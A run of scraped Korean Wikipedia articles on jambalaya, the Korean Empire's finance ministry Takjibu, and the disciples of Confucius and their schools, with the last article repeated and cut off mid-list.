잠발라야 - 위키백과, 우리 모두의 백과사전 잠발라야 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 잠발라야 잠발라야(Jambalaya)는 미국 루이지애나를 중심으로 한 밥 요리로 스페인 요리와 프랑스의 영향을 받았다. 잠발라야는 카리브 제도에서 유래되었으며, 아메리카 원주민의 문화와 스페인 문화가 합쳐진 것이 루이지애나로 건너가 프랑스의 문화가 섞인 것으로 알려져 있다. 목차 1 종류 2 역사 3 케이준 라이스 4 같이 보기 5 외부 링크 종류[편집] 미디어 재생 잠발라야의 조리법 동영상. 각각 크레올과 케이준 조리법을 보여준다. 잠발라야는 크게 두가지 종류가 있다. 하나는 크레올 잠발라야 (Creole Jambalaya)라고 하는데, 닭고기와 소시지 등과 함께 양파와 마늘, 고추, 샐러리 등의 채소와 토마토, 해산물을 비율로 냄비에 넣고 볶다가 쌀과 육수를 붓고 20분~60분 정도 끓여낸다. 토마토를 써서 붉기 때문에 레드 잠발라야(Red Jambalaya)라고도 부른다. 또 다른 종류로 루이지애나 남부 스왐프(Swamp)중심으로 한 케이준 잠발라야(Cajun Jambalaya)가 있다. 토마토를 넣지 않으며, 고기를 볶다가 채소를 넣고 육수를 붓고 어느 정도 끓인 뒤에 쌀과 조미료(보통 후추, 케이준 스파이스같은 향신료를 사용한다.) 넣고 약한 불로 한번 더 끓이는 차이점이 있다. 채소는 양파와 마늘을 주로 사용하나 취향에 따라 샐러리, 고추 등의 추가적인 재료를 더 넣을 수도 있다. 볶은 고기의 영향으로 갈색을 띄고 있어서 브라운 잠발라야(Brown Jambalaya)라고도 부른다. 이 외에 덜 일반적인 방법이 있는데, 고기와 채소를 쌀과 별도로 조리하고, 동시에 쌀을 육수와 함께 끓여놓는다. 접시에 내놓기 직전에 고기와 채소를 추가한다. 화이트 잠발라야(white jambalaya)라고 부르며, 조리 시간을 단축할 수 있는 특징이 있다. 쌀은 공통적으로 인디카 쌀을 주로 사용하며 고슬고슬하게 만든다. 간혹 취향에 따라 자포니카 쌀을 사용할 수도 있다. 역사[편집] 크리올 잠발라야는 뉴올리언스에서 스페인의 파에야의 요리법이 전해지면서 변형 된 것으로 보고 있다. 이주민들이 뉴올리언스에 정착했을때 파에야에 쓰는 향신료인 샤프란을 구할 수가 없어서 토마토로 대체하여 만들어진 것이 유래이다. 케이준 잠발라야는 루이지애나 주의 남부 스왐프 지역에서 크리올 잠발라야의 요리법이 전해지면서 발전시켰다. 이 지역에서 많이 생산되는 여러가지 고기와 해물 (주로 새우)를 조합하여 만들었으나 현재는 한 두가지의 재료로 만들고 있다. 케이준 라이스[편집] 한국에서는 파파이스에서 "케이준 라이스"라는 비슷한 요리를 내놓은 적이 있다. 재료는 양파와 마늘, 피망, 후추, 케이준 스파이스, 돼지고기, 자포니카 쌀을 사용하였다. 같이 보기[편집] 케이준 외부 링크[편집] 위키미디어 공용에 잠발라야 관련 미디어 분류가 있습니다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=잠발라야&oldid=22797782" 분류: 미국 요리쌀 요리 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 BrezhonegCatalàDanskDeutschEnglishEspañolSuomiFrançaisעבריתMagyarBahasa IndonesiaItaliano日本語NederlandsNorskOccitanPolskiPortuguêsРусскийSvenskaУкраїнська中文 링크 편집 이 문서는 2018년 10월 15일 (월) 21:58에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
탁지부 - 위키백과, 우리 모두의 백과사전 탁지부 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 탁지부(度支部) 또는 탁지아문(度支衙門)은 대한제국 당시 정부의 재무(財務)를 총괄하여 회계, 출납, 조세, 국채(國債), 화폐, 은행 등에 관한 일체의 사무를 맡아 처리하며 각 지방의 재무를 감독한다. 조선시대의 호조의 기능을 일부 수행하였다. 목차 1 산하 관청 1.1 사세국 1.2 사계국 1.3 출납국 1.4 회계국 1.5 서무국 2 관제 3 출처 산하 관청[편집] 탁지부는 시세국, 사계국, 출납국, 회계국, 서무국을 둔다. 사세국과 사계국은 1등국으로, 출납국은 2등국으로, 회계국과 서무국은 3등국으로 한다. 사세국[편집] 토지 제도와 조세가 있는 토지에 관한 사항이다. 조세의 부과 징수에 관한 사항이다. 세무(稅務)의 관리, 감독에 관한 사항이다. 세관(稅關)의 감독에 관한 사항이다. 세관의 수출과 수입의 상황 조사에 관한 사항이다. 외국 무역 선박과 수출·수입품의 감독에 관한 사항이다. 관청 소유의 재산 수입, 관영 영업의 이익금과 몰수금, 기타 여러 가지 수입에 관한 사항이다. 지방세에 관한 사항이다. 사계국[편집] 세입과 세출의 예산과 결산에 관한 사항이다. 예산 항목의 전용과 예산 외의 지출에 관한 사항이다. 지출 예산의 승인에 관한 사항이다. 수입과 지출 항목에 관한 사항이다. 세입과 세출 장부에 관한 사항이다. 여러 가지 경비의 결산 심사에 관한 사항이다. 보호 회사의 회계 감독에 관한 사항이다. 은행에 관한 사항이다. 출납국[편집] 국고에 속하는 현금과 물품의 관리, 출납에 관한 사항이다. 모든 경비의 지출 집행에 관한 사항이다. 출납 관리(出納官吏)의 감독과 그 보증에 관한 사항이다 회계국[편집] 본부에서 관리하는 경비의 예산과 결산, 회계에 관한 사항이다. 본부에서 관리하는 관청 소유의 재산과 물품, 그 장부 작성에 관한 사항이다. 서무국[편집] 국채에 관한 사항이다. 은급(恩給)에 대한 사항이다. 화폐에 관한 사항이다. 지방채(地方債)의 감독에 관한 사항이다. 공문 서류와 성안(成案) 문서의 접수 발송에 관한 사항이다. 통계 보고의 조사에 관한 사항이다. 공문 서류의 편찬 보존에 관한 사항이다. 회계 법규의 제정과 폐지 또는 개정에 대한 성안 조사에 관한 사항이다. 관방(官房)과 각 국의 관리에 속하지 않은 사항이다. 관제[편집] 관직명 정원 탁지부대신 1인 탁지부협판 1인 탁지부참의 1인 참서관 3인 재무관 14인 주사 64인 재무관은 사세국과 사계국에 속하여 그 사무를 맡으며 또 지방의 세무를 감독하고 아울러 각 국의 사무를 돕는다. 출처[편집] 조선왕조실록 vdeh대한제국의 경각부 궁내부 종정부 종백부 의정부 소속의 각 아문 내부 외부 탁지부 군부 법부 학부 농상공부 원본 주소 "https://ko.wikipedia.org/w/index.php?title=탁지부&oldid=22714916" 분류: 대한제국의 행정기관1894년 설립1910년 폐지 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2018년 10월 8일 (월) 10:23에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
공자의 제자 - 위키백과, 우리 모두의 백과사전 공자의 제자 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 유교 기본 개념 수기치인(修己治人) 인(仁) 의(義) 예(禮) 충(忠) 효(孝) 인물 공자 칠십자 맹자 순자 동중서 소옹 주돈이 장재 정호 정이 주희 왕양명 경전 사서 논어 맹자 대학 중용 오경 시경 서경 역경 춘추 예기 삼례 주례 의례 예기 십삼경 논어 맹자 시경 서경 역경 주례 의례 예기 춘추좌씨전 춘추공양전 춘추곡량전 이아 효경 역사 내성파 · 숭례파 법치주의 · 법가 문치주의 성선설 · 성악설 분서갱유 오경박사 훈고학 경학 현학 성리학 양명학 고증학 공양학 관련 항목 국자감 과거제 삼공 서원 육예 사대부 일본 주자학 한국의 유교 한·당 시대의 사상 송·명 시대의 사상 v • d • e • h 공자의 제자 또는 공자의 문인은 그 수가 많아 이름이 알려져 있는 사람만도 70명을 넘고 있다. 사마천의 《사기》〈중니 제자 열전〉에 그 명단이 기록되어 있다. 공자(孔子)의 제자 가운데 뛰어난 70인을 칠십자(七十子)라고 하는데, 기록에 따라서는 육십일자(六十一子) 또는 칠십이현(七十二賢)이라고도 한다.[1] 이들 중에서도 특히 유명한 제자로는 자로(子路) · 염유(冉有) · 유약(有若) · 안회(顔回) · 중궁(仲弓) · 자공(子貢) · 자하(子夏) · 자유(子遊) · 증자(曾子) 등이 손꼽힌다. 《논어》〈선진〉편에 따르면, 공자의 제자는 '선진(先進; 먼저 나온 사람. 선배)'과 '후진(後進; 뒤에 나온 사람, 후배)' 그룹으로 나뉜다. 선배 그룹은 공자와 나이 차이가 20여세 정도인 사람들로, 자로 자공 유약 등이다. 후배 그룹은 공자와 40세 정도 차이가 나는 사람들로 안회 증자 자하 자유 자장 등이다. 이들 선배 그룹과 후배 그룹을 '弟子'라고 하는데, '아우뻘(弟)인 사람, 아들 뻘(子)인 사람'이라는 뜻이다. 아들뻘인 후배 그룹들이 공자의 사상을 후세에 전했다. 증자를 이은 맹자, 자하 자유 등을 이은 순자가 그들이다. 공자의 제자들은 스승인 공자가 사망한 후에 여러 파로 분파된 것으로 보이는데, 크게 2분하면 증자(曾子) · 자사(子思)의 계통에 속하는 내성파(內省派; 안으로 반성을 함. 마음 수양을 중시함. 仁 중심)와 자하(子夏) · 자유(子遊)의 계통에 이어지는 숭례파(崇禮派; 예를 높임. 예를 닦음. 禮 중심)의 2파로 나뉘었다.[2] 이 두 파를 공문의 2유파(孔門의 二流派)라 한다. 이들 선진시대(先秦時代) 유가의 두 줄기의 흐름은 후대에까지 많은 영향을 미쳤다. 목차 1 공문의 2 혹은 8 개의 유파 1.1 내성파 1.2 숭례파 2 공자의 제자들 3 각주 4 참고 문헌 공문의 2 혹은 8 개의 유파[편집] 공자의 제자들은 공자가 죽은 뒤에 여러 파로 나뉘었다. 《한비자(韓非子)》의 〈현학편〉에 의하면, 유가에는 자장(子張) · 자사(子思) · 안씨(顔氏) · 맹씨(孟氏) · 칠조(漆雕) · 중량씨(仲良氏) · 손씨(孫氏) · 악정씨(樂正氏) 등의 8파(八派)가 있었다. 또 《맹자》[공손추] 편에 의하면 공자의 사후에 자하(子夏) · 자장(子張) · 자유(子遊)의 3인이 유약(有若)을 스승으로 모시려고 하자 증자(曾子)가 강력하게 반대했다. 유약은 공자 제자 가운데 연장자(선배) 그룹에 속하는 사람으로, 《논어》에 그가 예를 중시한 것으로 기록되어 있다. 따라서 마음에 인격(仁)을 닦는 것을 강조하는 증자가 반대한 것이다. 이 8파는 다시 2파, 즉 증자(曾子)를 중심으로 한 내성파(內省派)와 자유(子遊) · 자하(子夏) 자유(子游) 자장(子張)을 중심으로 한 숭례파(崇禮派)로 나뉘었다.[2] 증자를 이은 것이 맹자이고, 자하 자유 계열을 계승한 사람이 순자이다. 8파 가운데 맹씨(孟氏)는 맹자, 손씨(孫氏)는 순자를 가리킨다. 순자는 손경(孫卿)이라고도 불렸다. 안씨(顔氏)는 공자의 제자 안회를 가리키며, 《장자》에 공자와 안회의 대화가 매우 자주 나오는 것으로 봐서, 장자(莊子) 계열로 이어진 것으로 보는 사람도 있다.(한유, 곽말약) 칠조(漆雕)는 《논어》에 '칠조개'로 나오는 사람으로, 유협(遊俠; 무사)의 무리였다. 악정씨(樂正氏)는 《맹자》에 '악정자(樂正子)'로 나오는 맹자 제자를 가리키는 것 같다. 중량씨(仲良氏)는 그 유래나 계열이 명확하지 않다. 《맹자》〈등문공〉편을 보면, 초나라에 허행(許行)을 중심으로 진상(陳相) 등의 무리가 공자의 학설을 따랐다. 이들은 공자가 초나라에 갔을 때, 형성된 유가 그룹인 것 같다. 이들 초나라 그룹의 유자 계열 가운데 후대에 유명한 사람이 《초사》를 쓴 굴원이다. 그는 간신들과 싸우다 쫓겨나서 방황하다 죽었다. 또한 연나라 임금 쾌(噲)가 재상 자지(子之)에게 군주 자리를 물려주는 선양(禪讓)을 했다. 이는 요->순->우가 왕위를 물려주던 방식으로, 가장 현명한 신하에게 왕위를 물려 주는 것이다. 맹자나 순자가 이상적인 통치로 강조했던 것을 연나라에서는 실행을 했다. 그 선양의 결과 반란이 일어나고 쾌와 자지 등은 모두 비극적으로 살해되었다. 이들 역시 유가 학설을 실천한 사람들이다. 초나라와 연나라의 이 두 계열은 《한비자》〈현학〉편에 기록되어 있지 않다. 진시황의 스승이자 재상이었던 여불위가 《여씨춘추》를 편찬했다. 이 책은 제자백가의 사상을 종합한 것이지만, 기본적으로는 유가적인 통치를 주장한 것이다. 진시황은 법가의 부국강병책에 따라 7국을 통일하려 했다. 반면 《여씨춘추》는 1년을 12달로 나누어 각 달마다 해야 할 일을 기록한 것이다. 기본적으로 진시황이 확장을 주장했다면, 《여씨춘추》는 안정과 조화를 주장했다. 진시황의 법가 노선과 여불위의 유가 노선이 충돌했고, 결국 진시황은 여불위를 죽였다. 이 대립에서 진나라에 미친 유가의 영향을 알 수 있다. 내성파[편집] 맹자 증자(曾子: 기원전 505~435, 이름은 삼參)는 공자(孔子: 기원전 551~479) 사후의 유력한 지도자로서 공자의 '인(仁; 사랑 인격)' 사상에 근거한 유심주의적 측면을 발전시켜, 대가족 중심의 씨족제(氏族制)하에서의 도덕규범으로서의 효를 중시하였다. 그의 사상을 이어받은 사람이 공자의 손자인 자사(子思: 기원전 483?~402?)이다. 자사는 "천(天)"이라는 종교적 관념을 바탕으로 인간의 존재와 도덕을 규제하였다. 그것을 "성(誠)"이라고 이름 지어 철학의 중심에 두고 만물의 근본인 "도(道)"와 일치한다고 했다. 자사의 학통을 계승한 사상가가 맹자(孟子: 기원전 372?~289?)이다. 맹자는 인(仁) · 의(義)라는 것을 주장하였지만, 그 기초가 되는 것은 그 자신이 주장한 성선설(性善說)이었다. 맹자의 성선설에서 주장하는 인간의 본성이 선하다는 견해는 자사의 종교적 관념으로서의 천(天)과 밀접하게 서로 관련되어 있었다. 한편, 맹자의 정치론의 목적은 당시 붕괴되어 가던 봉건적 지배체제를 유지하는 데에 있었다. 후에 송나라(960~1279) 시대에서는 선진시대(先秦時代: 기원전 221년 이전) 유가(儒家)의 도통(道通: 유학 전도의 계통)이 강조됨으로써 공자 · 증자 · 자사 · 맹자의 계보가 중시되어 공자의 《논어(論語)》, 증자의 《대학(大學)》, 자사의 《중용(中庸)》, 맹자의 《맹자(孟子)》의 4서가 성립되었다. 숭례파[편집] 순자 자유(子遊) · 자하(子夏)의 파는 분명하지는 않으나 대체로 예(禮)라고 하는 외적 규범을 중시하였으며, 그리고 이들 양자 간에도 차이가 있었음을 순자(荀子: 기원전 298?~238?)도 지적하고 있다. 유가의 내성파에 속한 자사(子思: 기원전 483?~402?)와 맹자(孟子: 기원전 372?~289?)를 통렬히 비판한 사람이 순자인데, 그는 자궁(子弓: 자유(子遊)라고 하는 설도 있다)의 학통을 이은 것 같고, 또 인간의 본성에 대한 이해에 있어서 종교적 천(天)의 사상에서 탈각하여 성악설(性惡說)을 제출하였으며 예(禮)를 강조하였다. 순자는 사람의 본성은 원래 악하기 때문에 성인에 의해 정해진 예(禮)에 따라서 교정하지 않으면 안된다는 성악설에 의거하여, 예(禮)를 법(法)에 접근시켜 국가 통치의 원리로 했다.[3] 그는 예(禮)와 법(法)을 동일시함으로써 법(法)을 사회질서의 이념(理念)으로 끌어올려 사상의 한 유파로서의 법가(法家)가 성립될 수 있는 근거를 제공하였다.[4] 법가의 대표적인 사상가인 이사(李斯)와 한비자(韓非子)는 순자의 문하생이었다.[3] 순자의 사상은 송나라(960~1279)의 성리학의 학풍 이래로 이단적인 학이라 취급되어 왔으나 근년에 이르러 재평가를 받게 되었다. 공자의 제자들[편집] 아래 명단은 《사기》(史記) [중니 제자 열전]을 토대로 작성한 것으로, 《공자가어(孔子家語)》 및 기타 《논어》의 주석 등에서 주장하는 제자들과 상이한 부분이 있다. 안회 민손 염경 염옹 염구 중유 재여 단목사 언언 복상 전손사 증삼 담대멸명 복부제 원헌 공야장 남궁괄 공석애 증점 안무요 상구 고시 칠조개 공백요 사마경 번수 유약 공서적 무마시 양전 안행 염유 조휼 백건 공손룡 염계 공조구자 진조 칠조차 안고 칠조도보 양사적 상택 석작촉 임부제 공량유 후처 진염 공하수 해용잠 공견정 안조 교선 구정강 한보흑 진상 신당 안지복 영기 현성 좌인영 연급 정국 진비 시지상 안쾌 보숙승 원항적 악해 염결 숙중회 안하 적흑 방손 공충 공서여여 공서잠 각주[편집] ↑ "칠십자 (七十子)", 《네이버 지식사전》. 2011년 6월 24일에 확인. ↑ 가 나 세계사 > 인류 문화의 시작 > 도시국가와 춘추전국시대 > 전국시대의 제자백가 > 유가, 《글로벌 세계 대백과사전》 ↑ 가 나 세계사 > 인류 문화의 시작 > 도시국가와 춘추전국시대 > 전국시대의 제자백가 > 순자, 《글로벌 세계 대백과사전》 ↑ 세계사 > 인류 문화의 시작 > 도시국가와 춘추전국시대 > 전국시대의 제자백가 > 순자의 성악설, 《글로벌 세계 대백과사전》 참고 문헌[편집] 이 문서에는 다음커뮤니케이션(현 카카오)에서 GFDL 또는 CC-SA 라이선스로 배포한 글로벌 세계대백과사전의 "동양사상 > 동양의 사상 > 중국의 사상 > 제자백가의 사상 > 공문의 2유파" 항목을 기초로 작성된 글이 포함되어 있습니다. vdeh제자백가와 그 계승자유가사상가 공자 칠십자 증자 안회 자사 맹자 순자 동중서 소옹 주돈이 장재 정호 정이 주희 왕양명 저서 논어 맹자 순자 춘추번로 관물편 태극도설 통서 정몽 서명 이정전서 이천역전 주자문집 사서집주 근사록 주자어류 전습록 도가사상가 노자 열자 장자 양주 왕필 곽상 도연명 저서 도덕경 열자 장자 장자주 묵가사상가 묵자 호비자 전구 송견 윤문 저서 묵자 수소자 호비자 전구자 법가사상가 관중 자산 오기 상앙 신불해 신도 한비 이사 이회 저서 관자 오자병법 상군서 한비자 명가사상가 등석 송견 윤문 혜시 공손룡 저서 등석자 윤문자 공손룡자 음양가사상가 추연 추석 저서 추연 추자종시 종횡가사상가 귀곡자·귀곡선생·왕후 소진 소대 장의 저서 귀곡자 병가사상가 손무 손빈 사마양저 울요 황석공 이정 저서 손자병법 손빈병법 사마법 울요자 육도 삼략 이위공문대 잡가사상가 여불위 유안 저서 여씨춘추 회남자 농가사상가 허행 저서 신농 야로 제민요술 농서 농상집요 소설가사상가 육자 청사자 저서 육자 청사자 기타사상가 좌구명 굴원 편작 저서 춘추좌씨전국어 초사 난경 사상가와 저서는 대략적인 시대순으로 나열되어 있습니다. 한자명과 생몰연대 등이 툴팁에 표시됩니다. vdeh유교의 도통 요 순 우 탕 문왕 무왕 주공 공자 증자와 안자 자사 맹자 주자(周子) 장자(張子) 이정자《정호와 정이》 주자(朱子) 주자가 주장한 도통(道統)이며 (참고: 유교#도통), 생몰연대가 툴팁으로 표시됩니다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=공자의_제자&oldid=24488428" 분류: 제자백가공자의 제자숨은 분류: 글로벌세계대백과를 인용한 문서글로벌세계대백과를 인용한 문서/유교 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 English日本語Українська中文 링크 편집 이 문서는 2019년 6월 27일 (목) 00:15에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
공자의 제자 - 위키백과, 우리 모두의 백과사전 공자의 제자 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 유교 기본 개념 수기치인(修己治人) 인(仁) 의(義) 예(禮) 충(忠) 효(孝) 인물 공자 칠십자 맹자 순자 동중서 소옹 주돈이 장재 정호 정이 주희 왕양명 경전 사서 논어 맹자 대학 중용 오경 시경 서경 역경 춘추 예기 삼례 주례 의례 예기 십삼경 논어 맹자 시경 서경 역경 주례 의례 예기 춘추좌씨전 춘추공양전 춘추곡량전 이아 효경 역사 내성파 · 숭례파 법치주의 · 법가 문치주의 성선설 · 성악설 분서갱유 오경박사 훈고학 경학 현학 성리학 양명학 고증학 공양학 관련 항목 국자감 과거제 삼공 서원 육예 사대부 일본 주자학 한국의 유교 한·당 시대의 사상 송·명 시대의 사상 v • d • e • h 공자의 제자 또는 공자의 문인은 그 수가 많아 이름이 알려져 있는 사람만도 70명을 넘고 있다. 사마천의 《사기》〈중니 제자 열전〉에 그 명단이 기록되어 있다. 공자(孔子)의 제자 가운데 뛰어난 70인을 칠십자(七十子)라고 하는데, 기록에 따라서는 육십일자(六十一子) 또는 칠십이현(七十二賢)이라고도 한다.[1] 이들 중에서도 특히 유명한 제자로는 자로(子路) · 염유(冉有) · 유약(有若) · 안회(顔回) · 중궁(仲弓) · 자공(子貢) · 자하(子夏) · 자유(子遊) · 증자(曾子) 등이 손꼽힌다. 《논어》〈선진〉편에 따르면, 공자의 제자는 '선진(先進; 먼저 나온 사람. 선배)'과 '후진(後進; 뒤에 나온 사람, 후배)' 그룹으로 나뉜다. 선배 그룹은 공자와 나이 차이가 20여세 정도인 사람들로, 자로 자공 유약 등이다. 후배 그룹은 공자와 40세 정도 차이가 나는 사람들로 안회 증자 자하 자유 자장 등이다. 이들 선배 그룹과 후배 그룹을 '弟子'라고 하는데, '아우뻘(弟)인 사람, 아들 뻘(子)인 사람'이라는 뜻이다. 아들뻘인 후배 그룹들이 공자의 사상을 후세에 전했다. 증자를 이은 맹자, 자하 자유 등을 이은 순자가 그들이다. 공자의 제자들은 스승인 공자가 사망한 후에 여러 파로 분파된 것으로 보이는데, 크게 2분하면 증자(曾子) · 자사(子思)의 계통에 속하는 내성파(內省派; 안으로 반성을 함. 마음 수양을 중시함. 仁 중심)와 자하(子夏) · 자유(子遊)의 계통에 이어지는 숭례파(崇禮派; 예를 높임. 예를 닦음. 禮 중심)의 2파로 나뉘었다.[2] 이 두 파를 공문의 2유파(孔門의 二流派)라 한다. 이들 선진시대(先秦時代) 유가의 두 줄기의 흐름은 후대에까지 많은 영향을 미쳤다. 목차 1 공문의 2 혹은 8 개의 유파 1.1 내성파 1.2 숭례파 2 공자의 제자들 3 각주 4 참고 문헌 공문의 2 혹은 8 개의 유파[편집] 공자의 제자들은 공자가 죽은 뒤에 여러 파로 나뉘었다. 《한비자(韓非子)》의 〈현학편〉에 의하면, 유가에는 자장(子張) · 자사(子思) · 안씨(顔氏) · 맹씨(孟氏) · 칠조(漆雕) · 중량씨(仲良氏) · 손씨(孫氏) · 악정씨(樂正氏) 등의 8파(八派)가 있었다. 또 《맹자》[공손추] 편에 의하면 공자의 사후에 자하(子夏) · 자장(子張) · 자유(子遊)의 3인이 유약(有若)을 스승으로 모시려고 하자 증자(曾子)가 강력하게 반대했다. 유약은 공자 제자 가운데 연장자(선배) 그룹에 속하는 사람으로, 《논어》에 그가 예를 중시한 것으로 기록되어 있다. 따라서 마음에 인격(仁)을 닦는 것을 강조하는 증자가 반대한 것이다. 이 8파는 다시 2파, 즉 증자(曾子)를 중심으로 한 내성파(內省派)와 자유(子遊) · 자하(子夏) 자유(子游) 자장(子張)을 중심으로 한 숭례파(崇禮派)로 나뉘었다.[2] 증자를 이은 것이 맹자이고, 자하 자유 계열을 계승한 사람이 순자이다. 8파 가운데 맹씨(孟氏)는 맹자, 손씨(孫氏)는 순자를 가리킨다. 순자는 손경(孫卿)이라고도 불렸다. 안씨(顔氏)는 공자의 제자 안회를 가리키며, 《장자》에 공자와 안회의 대화가 매우 자주 나오는 것으로 봐서, 장자(莊子) 계열로 이어진 것으로 보는 사람도 있다.(한유, 곽말약) 칠조(漆雕)는 《논어》에 '칠조개'로 나오는 사람으로, 유협(遊俠; 무사)의 무리였다. 악정씨(樂正氏)는 《맹자》에 '악정자(樂正子)'로 나오는 맹자 제자를 가리키는 것 같다. 중량씨(仲良氏)는 그 유래나 계열이 명확하지 않다. 《맹자》〈등문공〉편을 보면, 초나라에 허행(許行)을 중심으로 진상(陳相) 등의 무리가 공자의 학설을 따랐다. 이들은 공자가 초나라에 갔을 때, 형성된 유가 그룹인 것 같다. 이들 초나라 그룹의 유자 계열 가운데 후대에 유명한 사람이 《초사》를 쓴 굴원이다. 그는 간신들과 싸우다 쫓겨나서 방황하다 죽었다. 또한 연나라 임금 쾌(噲)가 재상 자지(子之)에게 군주 자리를 물려주는 선양(禪讓)을 했다. 이는 요->순->우가 왕위를 물려주던 방식으로, 가장 현명한 신하에게 왕위를 물려 주는 것이다. 맹자나 순자가 이상적인 통치로 강조했던 것을 연나라에서는 실행을 했다. 그 선양의 결과 반란이 일어나고 쾌와 자지 등은 모두 비극적으로 살해되었다. 이들 역시 유가 학설을 실천한 사람들이다. 초나라와 연나라의 이 두 계열은 《한비자》〈현학〉편에 기록되어 있지 않다. 진시황의 스승이자 재상이었던 여불위가 《여씨춘추》를 편찬했다. 이 책은 제자백가의 사상을 종합한 것이지만, 기본적으로는 유가적인 통치를 주장한 것이다. 진시황은 법가의 부국강병책에 따라 7국을 통일하려 했다. 반면 《여씨춘추》는 1년을 12달로 나누어 각 달마다 해야 할 일을 기록한 것이다. 기본적으로 진시황이 확장을 주장했다면, 《여씨춘추》는 안정과 조화를 주장했다. 진시황의 법가 노선과 여불위의 유가 노선이 충돌했고, 결국 진시황은 여불위를 죽였다. 이 대립에서 진나라에 미친 유가의 영향을 알 수 있다. 내성파[편집] 맹자 증자(曾子: 기원전 505~435, 이름은 삼參)는 공자(孔子: 기원전 551~479) 사후의 유력한 지도자로서 공자의 '인(仁; 사랑 인격)' 사상에 근거한 유심주의적 측면을 발전시켜, 대가족 중심의 씨족제(氏族制)하에서의 도덕규범으로서의 효를 중시하였다. 그의 사상을 이어받은 사람이 공자의 손자인 자사(子思: 기원전 483?~402?)이다. 자사는 "천(天)"이라는 종교적 관념을 바탕으로 인간의 존재와 도덕을 규제하였다. 그것을 "성(誠)"이라고 이름 지어 철학의 중심에 두고 만물의 근본인 "도(道)"와 일치한다고 했다. 자사의 학통을 계승한 사상가가 맹자(孟子: 기원전 372?~289?)이다. 맹자는 인(仁) · 의(義)라는 것을 주장하였지만, 그 기초가 되는 것은 그 자신이 주장한 성선설(性善說)이었다. 맹자의 성선설에서 주장하는 인간의 본성이 선하다는 견해는 자사의 종교적 관념으로서의 천(天)과 밀접하게 서로 관련되어 있었다. 한편, 맹자의 정치론의 목적은 당시 붕괴되어 가던 봉건적 지배체제를 유지하는 데에 있었다. 후에 송나라(960~1279) 시대에서는 선진시대(先秦時代: 기원전 221년 이전) 유가(儒家)의 도통(道通: 유학 전도의 계통)이 강조됨으로써 공자 · 증자 · 자사 · 맹자의 계보가 중시되어 공자의 《논어(論語)》, 증자의 《대학(大學)》, 자사의 《중용(中庸)》, 맹자의 《맹자(孟子)》의 4서가 성립되었다. 숭례파[편집] 순자 자유(子遊) · 자하(子夏)의 파는 분명하지는 않으나 대체로 예(禮)라고 하는 외적 규범을 중시하였으며, 그리고 이들 양자 간에도 차이가 있었음을 순자(荀子: 기원전 298?~238?)도 지적하고 있다. 유가의 내성파에 속한 자사(子思: 기원전 483?~402?)와 맹자(孟子: 기원전 372?~289?)를 통렬히 비판한 사람이 순자인데, 그는 자궁(子弓: 자유(子遊)라고 하는 설도 있다)의 학통을 이은 것 같고, 또 인간의 본성에 대한 이해에 있어서 종교적 천(天)의 사상에서 탈각하여 성악설(性惡說)을 제출하였으며 예(禮)를 강조하였다. 순자는 사람의 본성은 원래 악하기 때문에 성인에 의해 정해진 예(禮)에 따라서 교정하지 않으면 안된다는 성악설에 의거하여, 예(禮)를 법(法)에 접근시켜 국가 통치의 원리로 했다.[3] 그는 예(禮)와 법(法)을 동일시함으로써 법(法)을 사회질서의 이념(理念)으로 끌어올려 사상의 한 유파로서의 법가(法家)가 성립될 수 있는 근거를 제공하였다.[4] 법가의 대표적인 사상가인 이사(李斯)와 한비자(韓非子)는 순자의 문하생이었다.[3] 순자의 사상은 송나라(960~1279)의 성리학의 학풍 이래로 이단적인 학이라 취급되어 왔으나 근년에 이르러 재평가를 받게 되었다. 공자의 제자들[편집] 아래 명단은 